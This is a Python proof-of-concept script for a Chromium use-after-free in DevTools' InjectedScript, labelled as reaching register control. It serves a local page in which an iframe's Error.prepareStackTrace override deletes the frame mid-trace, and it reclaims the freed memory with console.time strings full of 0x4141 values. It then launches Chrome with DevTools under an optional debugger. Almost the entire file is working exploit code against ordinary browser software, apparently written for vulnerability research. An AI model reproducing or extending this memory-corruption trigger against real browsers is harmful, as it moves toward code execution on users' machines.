#!/usr/bin/env python3

# issue 503553614 | Chromium InjectedScript UAF | register control PoC

import argparse
import http.server
import os
import shlex
import shutil
import subprocess
import sys
import tempfile
import threading

IFRAME = b"""\
<!DOCTYPE html><html><body><script>
Error.prepareStackTrace = function() {
  const reclaim = parent.reclaim;
  try { self.frameElement.remove(); } catch(e) {}
  if (typeof reclaim === 'function') reclaim();
  return '';
};
const err = new Error('uaf');
debugger;
parent.postMessage('retry', '*');
</script></body></html>
"""

MAIN = b"""\
<!DOCTYPE html><html><body><script>
window.reclaim = function() {
  const fill = String.fromCharCode(0x4141).repeat(104);
  for (let i = 0; i < 256; i++)
    console.time(fill + i.toString().padStart(8, '0'));
};

window.addEventListener('message', e => {
  if (e.data !== 'retry') return;
  const old = document.getElementById('f');
  if (old) old.remove();
  setTimeout(go, 400);
});

function go() {
  const f = document.createElement('iframe');
  f.id = 'f';
  f.src = '/iframe';
  document.body.appendChild(f);
}
go();
</script></body></html>
"""


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = {'/': MAIN, '/iframe': IFRAME}.get(self.path)
        if not body:
            self.send_error(404); return
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Cache-Control', 'no-store')
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, *_):
        pass


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--port', type=int, default=8080)
    ap.add_argument('--chrome-path', default=None)
    ap.add_argument('--debugger', default=None,
                    help='debugger prefix, e.g. "windbg -g -G"')
    ap.add_argument('--server-only', action='store_true')
    if len(sys.argv) == 1:
        ap.print_help()
        sys.exit(0)
    args = ap.parse_args()

    srv = http.server.HTTPServer(('127.0.0.1', args.port), Handler)
    url = f'http://127.0.0.1:{args.port}/'
    print(f'[*] {url}')

    if args.server_only:
        print('[*] open in Chrome with DevTools auto-open:')
        print(f'    chrome --auto-open-devtools-for-tabs {url}')
        try:
            srv.serve_forever()
        except KeyboardInterrupt:
            pass
        return

    chrome = args.chrome_path or os.environ.get('CHROME')
    if not chrome:
        sys.exit('set --chrome-path or $CHROME')

    chrome = os.path.abspath(chrome)
    ud = tempfile.mkdtemp(prefix='uaf_poc_')
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    cmd = shlex.split(args.debugger) if args.debugger else []
    cmd += [chrome, f'--user-data-dir={ud}',
            '--auto-open-devtools-for-tabs', '--no-first-run', url]
    proc = subprocess.Popen(cmd)
    try:
        proc.wait()
    except KeyboardInterrupt:
        proc.terminate()
    finally:
        srv.shutdown()
        shutil.rmtree(ud, ignore_errors=True)


if __name__ == '__main__':
    main()
